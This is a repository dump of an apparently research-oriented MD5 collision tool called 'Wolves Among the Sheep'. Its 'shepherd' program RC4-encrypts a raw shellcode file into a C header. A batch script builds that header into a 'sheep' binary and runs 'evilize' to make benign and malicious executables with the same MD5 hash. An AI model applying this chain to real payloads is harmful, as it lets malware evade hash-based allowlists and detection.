    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <ProjectGuid>{D17FD857-B64C-4C1B-A893-92E531CC0210}</ProjectGuid>\r\n    <Keyword>Win32Proj</Keyword>\r\n    <RootNamespace>sheep</RootNamespace>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v110</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v110</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <LinkIncremental>false</LinkIncremental>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <Optimization>MaxSpeed</Optimization>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>true</IntrinsicFunctions>\r\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"common.h\" />\r\n    <ClInclude Include=\"crc.h\" />\r\n    <ClInclude Include=\"rc4.h\" />\r\n    <ClInclude Include=\"sc.h\" />\r\n    <ClInclude Include=\"stdafx.h\" />\r\n    <ClInclude Include=\"targetver.h\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"crc.cpp\" />\r\n    <ClCompile Include=\"rc4.cpp\" />\r\n    <ClCompile Include=\"sheep.cpp\" />\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "sheep/sheep.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"stdafx.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"targetver.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"common.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"rc4.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"sheep.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "sheep/stdafx.cpp",
    "content": "// stdafx.cpp : source file that includes just the standard includes\r\n// sheep.pch will be the pre-compiled header\r\n// stdafx.obj will contain the pre-compiled type information\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: reference any additional headers you need in STDAFX.H\r\n// and not in this file\r\n"
  },
  {
    "path": "sheep/stdafx.h",
    "content": "// stdafx.h : include file for standard system include files,\r\n// or project specific include files that are used frequently, but\r\n// are changed infrequently\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include <stdio.h>\r\n#include <tchar.h>\r\n\r\n\r\n\r\n// TODO: reference additional headers your program requires here\r\n"
  },
  {
    "path": "sheep/targetver.h",
    "content": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and\r\n// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.\r\n\r\n#include <SDKDDKVer.h>\r\n"
  },
  {
    "path": "sheep.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Express 2012 for Windows Desktop\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"sheep\", \"sheep\\sheep.vcxproj\", \"{D17FD857-B64C-4C1B-A893-92E531CC0210}\"\r\nEndProject\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"shepherd\", \"shepherd\\shepherd.vcxproj\", \"{A4F18160-3822-4E64-95F5-8FA4D6BDDD0A}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Win32 = Debug|Win32\r\n\t\tRelease|Win32 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{D17FD857-B64C-4C1B-A893-92E531CC0210}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{D17FD857-B64C-4C1B-A893-92E531CC0210}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{D17FD857-B64C-4C1B-A893-92E531CC0210}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{D17FD857-B64C-4C1B-A893-92E531CC0210}.Release|Win32.Build.0 = Release|Win32\r\n\t\t{A4F18160-3822-4E64-95F5-8FA4D6BDDD0A}.Debug|Win32.ActiveCfg = Debug|Win32\r\n\t\t{A4F18160-3822-4E64-95F5-8FA4D6BDDD0A}.Debug|Win32.Build.0 = Debug|Win32\r\n\t\t{A4F18160-3822-4E64-95F5-8FA4D6BDDD0A}.Release|Win32.ActiveCfg = Release|Win32\r\n\t\t{A4F18160-3822-4E64-95F5-8FA4D6BDDD0A}.Release|Win32.Build.0 = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "shepherd/ReadMe.txt",
    "content": "========================================================================\r\n    CONSOLE APPLICATION : shepherd Project Overview\r\n========================================================================\r\n\r\nAppWizard has created this shepherd application for you.\r\n\r\nThis file contains a summary of what you will find in each of the files that\r\nmake up your shepherd application.\r\n\r\n\r\nshepherd.vcxproj\r\n    This is the main project file for VC++ projects generated using an Application Wizard.\r\n    It contains information about the version of Visual C++ that generated the file, and\r\n    information about the platforms, configurations, and project features selected with the\r\n    Application Wizard.\r\n\r\nshepherd.vcxproj.filters\r\n    This is the filters file for VC++ projects generated using an Application Wizard. \r\n    It contains information about the association between the files in your project \r\n    and the filters. This association is used in the IDE to show grouping of files with\r\n    similar extensions under a specific node (for e.g. \".cpp\" files are associated with the\r\n    \"Source Files\" filter).\r\n\r\nshepherd.cpp\r\n    This is the main application source file.\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\nOther standard files:\r\n\r\nStdAfx.h, StdAfx.cpp\r\n    These files are used to build a precompiled header (PCH) file\r\n    named shepherd.pch and a precompiled types file named StdAfx.obj.\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\nOther notes:\r\n\r\nAppWizard uses \"TODO:\" comments to indicate parts of the source code you\r\nshould add to or customize.\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n"
  },
  {
    "path": "shepherd/shepherd.cpp",
    "content": "/*\r\nMD5 Poisoning - Wolves Among the Sheep\r\nCopyright (C) 2015  Blint Varga-Perke\r\n\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\r\n*/\r\n\r\n#include \"stdafx.h\"\r\n#include \"rc4.h\"\r\n#include \"crc.h\"\r\n#include<iostream>\r\n#include<fstream>\r\n#include<string>\r\n\r\nint main(int argc, char* argv[])\r\n{\r\n\tif (argc<3){\r\n\t\tprintf(\"Usage: %s [KEY] [shellcode.raw]\\n\");\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tunsigned char* key=(unsigned char*)argv[1];\r\n\tstd::ifstream in(argv[2]);\r\n\t\r\n\tstd::string contents((std::istreambuf_iterator<char>(in)),std::istreambuf_iterator<char>());\r\n\t\r\n\trc4_key_t rc4_key;\r\n\trc4_set_key(key,strlen((const char*)key),&rc4_key);\r\n\tunsigned char* crypted=(unsigned char*)malloc(contents.length()*sizeof(unsigned char));\r\n\tmemset(crypted,0,contents.length()*sizeof(unsigned char));\r\n\trc4_crypt(crypted,contents.length(),&rc4_key);\r\n\t\r\n\tprintf(\"#define SC {\");\r\n\tfor (int i=0;i<contents.length();i++){\r\n\t\tif (i!=0) putchar(',');\r\n\t\tprintf(\"0x%02x\",(unsigned char)((unsigned char)(contents.c_str()[i])^crypted[i]));\r\n\t}\r\n\tprintf(\"}\\n\\n\");\r\n\t// Calculating CRC\r\n\tconst unsigned char * contents_buf = reinterpret_cast<const unsigned char *> (contents.c_str());\r\n\tprintf(\"#define SC_KEY \\\"%s\\\"\\n\\n\",key);\r\n\tprintf(\"#define SC_CRC %d \\n\\n\",crcSlow(contents_buf,contents.length()));\r\n\treturn 0;\r\n}\r\n\r\n"
  },
  {
    "path": "shepherd/shepherd.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <ProjectGuid>{A4F18160-3822-4E64-95F5-8FA4D6BDDD0A}</ProjectGuid>\r\n    <Keyword>Win32Proj</Keyword>\r\n    <RootNamespace>shepherd</RootNamespace>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v110</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>Application</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v110</PlatformToolset>\r\n    <WholeProgramOptimization>true</WholeProgramOptimization>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <LinkIncremental>true</LinkIncremental>\r\n  </PropertyGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <ClCompile>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <Optimization>Disabled</Optimization>\r\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <AdditionalIncludeDirectories>..\\sheep\\</AdditionalIncludeDirectories>\r\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <ClCompile>\r\n      <WarningLevel>Level3</WarningLevel>\r\n      <PrecompiledHeader>Use</PrecompiledHeader>\r\n      <Optimization>Disabled</Optimization>\r\n      <FunctionLevelLinking>true</FunctionLevelLinking>\r\n      <IntrinsicFunctions>false</IntrinsicFunctions>\r\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\r\n      <SDLCheck>true</SDLCheck>\r\n      <AdditionalIncludeDirectories>..\\sheep\\</AdditionalIncludeDirectories>\r\n      <WholeProgramOptimization>false</WholeProgramOptimization>\r\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\r\n    </ClCompile>\r\n    <Link>\r\n      <SubSystem>Console</SubSystem>\r\n      <GenerateDebugInformation>true</GenerateDebugInformation>\r\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\r\n      <OptimizeReferences>true</OptimizeReferences>\r\n    </Link>\r\n  </ItemDefinitionGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"..\\sheep\\common.h\" />\r\n    <ClInclude Include=\"..\\sheep\\crc.h\" />\r\n    <ClInclude Include=\"..\\sheep\\rc4.h\" />\r\n    <ClInclude Include=\"stdafx.h\" />\r\n    <ClInclude Include=\"targetver.h\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"..\\sheep\\crc.cpp\" />\r\n    <ClCompile Include=\"..\\sheep\\rc4.cpp\" />\r\n    <ClCompile Include=\"shepherd.cpp\" />\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "shepherd/shepherd.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Text Include=\"ReadMe.txt\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"stdafx.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"targetver.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"..\\sheep\\common.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"..\\sheep\\rc4.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"..\\sheep\\crc.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"stdafx.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"shepherd.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"..\\sheep\\rc4.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"..\\sheep\\crc.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "shepherd/stdafx.cpp",
    "content": "// stdafx.cpp : source file that includes just the standard includes\r\n// shepherd.pch will be the pre-compiled header\r\n// stdafx.obj will contain the pre-compiled type information\r\n\r\n#include \"stdafx.h\"\r\n\r\n// TODO: reference any additional headers you need in STDAFX.H\r\n// and not in this file\r\n"
  },
  {
    "path": "shepherd/stdafx.h",
    "content": "// stdafx.h : include file for standard system include files,\r\n// or project specific include files that are used frequently, but\r\n// are changed infrequently\r\n//\r\n\r\n#pragma once\r\n\r\n#include \"targetver.h\"\r\n\r\n#include <stdio.h>\r\n#include <tchar.h>\r\n\r\n\r\n\r\n// TODO: reference additional headers your program requires here\r\n"
  },
  {
    "path": "shepherd/targetver.h",
    "content": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and\r\n// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.\r\n\r\n#include <SDKDDKVer.h>\r\n"
  },
  {
    "path": "shepherd.bat",
    "content": "@echo on\r\n\r\ndel sheep\\Release\\sheep.pch\r\n\r\nRelease\\shepherd.exe %1 %2 > sheep\\sc.h\r\nmsbuild /p:Configuration=Release /t:Build sheep\\sheep.vcxproj\r\n\r\ndel evilize\\a\r\ndel evilize\\b\r\ndel evilize\\wolf.exe\r\ndel evilize\\sheep.exe\r\n\r\ncd evilize \r\n\r\nevilize.exe ..\\sheep\\Release\\sheep.exe \r\n\r\n"
  }
]